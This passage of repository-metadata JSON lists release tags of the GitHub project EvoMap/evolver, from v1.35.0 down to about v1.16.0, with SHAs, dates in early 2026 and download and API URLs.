EvoMap/evolver/tar.gz/v1.35.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.35.0/manifests"},{"name":"v1.34.2","sha":"f0071d6ea343a4140f7871188d2e253250972584","kind":"tag","published_at":"2026-03-22T06:09:32.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.34.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.34.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.34.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.2/manifests"},{"name":"v1.34.1","sha":"152a08630666afdc32edcf08d3bc9652fa0bd802","kind":"tag","published_at":"2026-03-22T05:46:18.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.34.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.34.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.34.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.1/manifests"},{"name":"v1.34.0","sha":"6b51b181d0ffebe181c2f953c8a4180e86f6a286","kind":"tag","published_at":"2026-03-22T05:18:49.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.34.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.34.0/manifests"},{"name":"v1.33.2","sha":"11e05952a57557b4b27fd24ccfe68c3a55f86768","kind":"tag","published_at":"2026-03-22T04:18:19.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.33.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.33.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.33.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.2/manifests"},{"name":"v1.33.1","sha":"271e154d656084ae036fdcb6c339b9d62a6f22a9","kind":"tag","published_at":"2026-03-22T03:58:31.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.33.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.33.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.33.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.1/manifests"},{"name":"v1.33.0","sha":"7f250a6f50aabaec0acee3b60d1f2b23f86756bb","kind":"tag","published_at":"2026-03-21T17:06:53.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.33.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.33.0/manifests"},{"name":"v1.32.4","sha":"c29c2f327e482ed17cc150f79b65302209feeae6","kind":"commit","published_at":"2026-03-20T11:13:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.32.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.32.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.32.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.4/manifests"},{"name":"v1.32.2","sha":"6c23b52aff19543d9e00b0b6292532fcb1794608","kind":"tag","published_at":"2026-03-17T16:52:01.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.32.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.32.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.32.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.2/manifests"},{"name":"v1.32.0","sha":"8d4f70d94bdec52867491d4e3855237021a74e4e","kind":"commit","published_at":"2026-03-17T00:33:22.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.32.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.32.0/manifests"},{"name":"v1.31.0","sha":"cdae7d64c42523bf2a7030669d309e937277d7fc","kind":"tag","published_at":"2026-03-16T15:04:21.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.31.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.31.0/manifests"},{"name":"v1.30.2","sha":"505192bbd555a424123419eb8b205a1c4f57db34","kind":"commit","published_at":"2026-03-16T12:32:05.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.30.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.30.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.30.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.30.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.30.2/manifests"},{"name":"v1.29.9","sha":"3623af621ded956a16c0730dbc0f903ceb27a159","kind":"commit","published_at":"2026-03-15T07:25:54.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.9","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.9/manifests"},{"name":"v1.29.8","sha":"59431646355b0999cbf14f073a4d81ef7de2e17e","kind":"commit","published_at":"2026-03-13T16:15:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.8","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.8/manifests"},{"name":"v1.29.4","sha":"016b19f54d072e3c1a9df883bf11a06fd9fb11e4","kind":"commit","published_at":"2026-03-11T16:49:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.4/manifests"},{"name":"v1.29.3","sha":"4c7db917a5770b1ff847bc24267c115be6e3cdc6","kind":"commit","published_at":"2026-03-11T16:13:14.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.3/manifests"},{"name":"v1.29.2","sha":"0b4f5637a29069465a2fc6188ebedb02c27d4790","kind":"tag","published_at":"2026-03-11T16:03:07.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.2/manifests"},{"name":"v1.29.1","sha":"a5d1e3429dc902d35532fdd6456ce9276e66443e","kind":"commit","published_at":"2026-03-11T15:59:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.1/manifests"},{"name":"v1.29.0","sha":"1b51d7325176d2c5d553d2629c561b349d03064c","kind":"commit","published_at":"2026-03-11T15:32:47.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.29.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.29.0/manifests"},{"name":"v1.28.2","sha":"fa7a011d595f3339d7e87b0dc8ee5049d3184fca","kind":"commit","published_at":"2026-03-09T05:15:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.28.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.28.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.28.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.2/manifests"},{"name":"v1.28.1","sha":"fa7a011d595f3339d7e87b0dc8ee5049d3184fca","kind":"commit","published_at":"2026-03-09T05:15:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.28.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.28.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.28.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.1/manifests"},{"name":"v1.28.0","sha":"02c2e5a9075844937b4bcf65534bc3266dfc2974","kind":"commit","published_at":"2026-03-09T05:12:09.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.28.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.28.0/manifests"},{"name":"v1.27.5","sha":"e6068b0f402121716cbf2a4334b6d85fa669b0ea","kind":"tag","published_at":"2026-03-07T05:26:54.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.5/manifests"},{"name":"v1.27.4","sha":"7175cf9e731679ae760b1921a3e78d41a434a8cd","kind":"commit","published_at":"2026-03-07T03:45:54.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.4/manifests"},{"name":"v1.27.3","sha":"c8f02ad37ef09a0c1beaccac582449f32eaf8bc8","kind":"tag","published_at":"2026-03-06T23:10:27.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.3/manifests"},{"name":"v1.27.2","sha":"3881f36b73a442dbcedf212ea15201919e8c4676","kind":"tag","published_at":"2026-03-05T09:07:20.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.2/manifests"},{"name":"v1.27.1","sha":"1511551cb3d5b11c9c265bc4a459b1fd1bb060be","kind":"commit","published_at":"2026-03-05T08:23:27.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.1/manifests"},{"name":"v1.27.0","sha":"7338e8327d4c4c5833c509770b59d19f39ddc33d","kind":"tag","published_at":"2026-03-05T08:02:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.27.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.27.0/manifests"},{"name":"v1.24.0","sha":"1288495bf77faee7788401a358c72d77499b0cae","kind":"tag","published_at":"2026-03-04T12:58:21.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.24.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.24.0/manifests"},{"name":"v1.23.0","sha":"b05bf37b6449eda372eb44259637effa78a1912f","kind":"tag","published_at":"2026-03-03T12:44:32.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.23.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.23.0/manifests"},{"name":"v1.22.0","sha":"b97ed47be5785aa4273f22d8ecda74a14d5335a5","kind":"tag","published_at":"2026-03-03T02:59:14.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.22.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.22.0/manifests"},{"name":"v1.21.4","sha":"83250cbf3abbecbdcf9548119b166562289a40f1","kind":"tag","published_at":"2026-03-03T02:57:06.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.21.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.21.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.21.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.4/manifests"},{"name":"v1.21.3","sha":"83250cbf3abbecbdcf9548119b166562289a40f1","kind":"commit","published_at":"2026-03-02T05:36:36.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.21.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.3/manifests"},{"name":"v1.21.2","sha":"c361020637ce9174fc246a8c0665b0e9b516b232","kind":"commit","published_at":"2026-03-02T05:21:38.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.21.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.2/manifests"},{"name":"v1.21.1","sha":"7d814aab4f9de43f666431ded4fd271fb7449fee","kind":"tag","published_at":"2026-03-02T05:11:45.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.21.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.1/manifests"},{"name":"v1.21.0","sha":"57c952edc3afebffd8aed69ca5d6ff3629fbd191","kind":"tag","published_at":"2026-03-02T03:55:05.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.21.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.21.0/manifests"},{"name":"v1.20.4","sha":"1b46e8dc53db63cda79d4f063f058538ede2fe84","kind":"tag","published_at":"2026-03-01T04:50:39.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.20.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.4/manifests"},{"name":"v1.20.3","sha":"1bf5ba93fd56484130f63aafa070303a861e372e","kind":"tag","published_at":"2026-02-27T05:29:22.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.20.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.3/manifests"},{"name":"v1.20.1","sha":"5617546734d1fdee65f59ae402f593a161149d93","kind":"tag","published_at":"2026-02-26T12:33:36.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.20.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.1/manifests"},{"name":"v1.20.0","sha":"788f2080e9cb68cf8db6fc569c9a83450834509b","kind":"tag","published_at":"2026-02-26T12:28:08.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.20.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.20.0/manifests"},{"name":"v1.19.1","sha":"a612f6bda2ab718aa45370685ca7bd10ec21a5b5","kind":"tag","published_at":"2026-02-24T07:07:02.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.19.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.19.1/manifests"},{"name":"v1.19.0","sha":"c5444b367a16e40e7172cf2365a5e1733b22a194","kind":"tag","published_at":"2026-02-23T02:50:32.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.19.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.19.0/manifests"},{"name":"v1.18.1","sha":"a7f18c06a6539676eade7e8f4f7af5d0c51cfc0e","kind":"tag","published_at":"2026-02-23T02:35:33.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.18.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.18.1/manifests"},{"name":"v1.18.0","sha":"8733ef1e08653b153adb5fbc3a7fa98b6257bffe","kind":"tag","published_at":"2026-02-22T12:35:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.18.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.18.0/manifests"},{"name":"v1.17.1","sha":"8d78b9ac6cdffef4559dfcc46a75d1a8440dc22f","kind":"tag","published_at":"2026-02-22T12:08:03.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.17.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"7b15373c3e0f6742f043d222dd97e3c81b4d8f71","kind":"tag","published_at":"2026-02-22T11:07:25.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.17.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"7f53127a285ca78fcad78910e43d1fce29fe89d7","kind":"tag","published_at":"2026-02-22T10:35:40.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.16.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.1